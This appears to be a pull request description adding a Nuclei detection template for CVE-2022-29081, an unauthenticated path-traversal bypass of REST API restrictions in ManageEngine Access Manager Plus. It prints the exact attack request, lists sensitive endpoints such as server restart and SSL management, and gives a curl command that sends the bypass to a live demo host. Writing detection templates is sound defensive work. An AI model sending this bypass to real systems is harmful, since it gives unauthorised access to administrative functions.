Added CVE-2022-29081 - Zoho ManageEngine Access Manager Plus REST API Restriction Bypass
Issue: #13982
Bounty Claim: /claim #13982
Severity: Critical (CVSS 9.8)
GHSA ID: GHSA-59xq-494m-chp8
CVE: CVE-2022-29081
Type: REST API Access Control Bypass via Path Traversal
Attack Vector: Network (Unauthenticated Remote)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score: 0.00598 (98th percentile)
Affected Products:
Root Cause:
The vulnerability stems from improper URI normalization in HttpServletRequest.getRequestURI() within com.manageengine.ads.fw.api.RestAPIUtil.isRestAPIRequest(). The function fails to properly neutralize path traversal sequences, allowing attackers to bypass API restrictions using patterns like /x/../RestAPI/.
CWE Classifications:
Attack Pattern:
POST /x/..//RestAPI/LicenseMgr HTTP/1.1
Host: target.com:9292
Content-Type: application/x-www-form-urlencoded
operation=getLicenseDetails
Vulnerable Endpoints:
/RestAPI/SSOutAction - Server restart functionality/RestAPI/SSLAction - SSL certificate management/RestAPI/LicenseMgr - License management (used in PoC)/RestAPI/GetProductDetails - Product information disclosure/RestAPI/GetDashboard - Dashboard data access/RestAPI/FetchEvents - Event log retrieval/RestAPI/Synchronize - Synchronization operationsExpected Vulnerable Response:
{
"BUILD_NO":"4301",
"LICENSE_TO":"ManageEngine",
"COMPONENT_DETAILS":{"Days to Expire":"23days.","Number of Users":10},
"VERSION":"4.3.0",
"LICENSE_TYPE":"Standard Edition - Trial Version",
"LICENSE_TYPE_CODE":"T",
"PRODUCT_NAME":"AccessManagerPlus"
}
✅ Complete PoC Implementation (not version-only detection)
✅ Multi-layer Matchers to prevent false positives:
✅ Follows ProjectDiscovery Standards
✅ Asset Discovery Queries (Shodan/FOFA/Google)
✅ Proper Metadata (vendor, product, max-request)
nuclei -validate -t http/cves/2022/CVE-2022-29081.yaml
# Result: All templates validated successfully ✅
# Test 1: Against example.com (non-vulnerable target)
nuclei -t http/cves/2022/CVE-2022-29081.yaml -u https://example.com -debug
# Result: No false positives ✅
# Test 2: Against ManageEngine official demo (patched build 4401)
curl -sk -d 'operation=getLicenseDetails' 'https://demo.accessmanagerplus.com/x/..//RestAPI/LicenseMgr'
# Response: HTTP 404 (API endpoint removed in patched version)
nuclei -t http/cves/2022/CVE-2022-29081.yaml -u https://demo.accessmanagerplus.com -debug
# Result: No match (correctly identifies patched version) ✅
# Test against ProjectDiscovery honeypot
nuclei -t http/cves/2022/CVE-2022-29081.yaml -u http://honey.scanme.sh -debug
# Result: No match (HTTP 301 redirect, no required response fields) ✅
✅ Correct path traversal pattern: /x/..//RestAPI/LicenseMgr
✅ Correct POST body: operation=getLicenseDetails
✅ Matches Tenable PoC exactly
✅ Uses raw HTTP request to preserve path traversal
Official Advisories:
Technical Details:
Status: Located vulnerable build 4301 at ManageEngine archives
Source: https://archives.manageengine.com/privileged-session-management/4301/
File: ManageEngine_AMP_64bit.bin (239MB)
Installation Challenge: Requires Java runtime configuration on macOS
Available for Testing: I am ready to:
Template Compliance:
Code Quality:
Security Testing:
Bounty Issue: #13982
Estimated Range: $100
Qualification Status: Template ready, pending vulnerable instance validation
Template Quality:
Thank you for reviewing this contribution to the Nuclei Templates project! 🙏
Green Hacker
@GreenHacker420
ProjectDiscovery
@projectdiscovery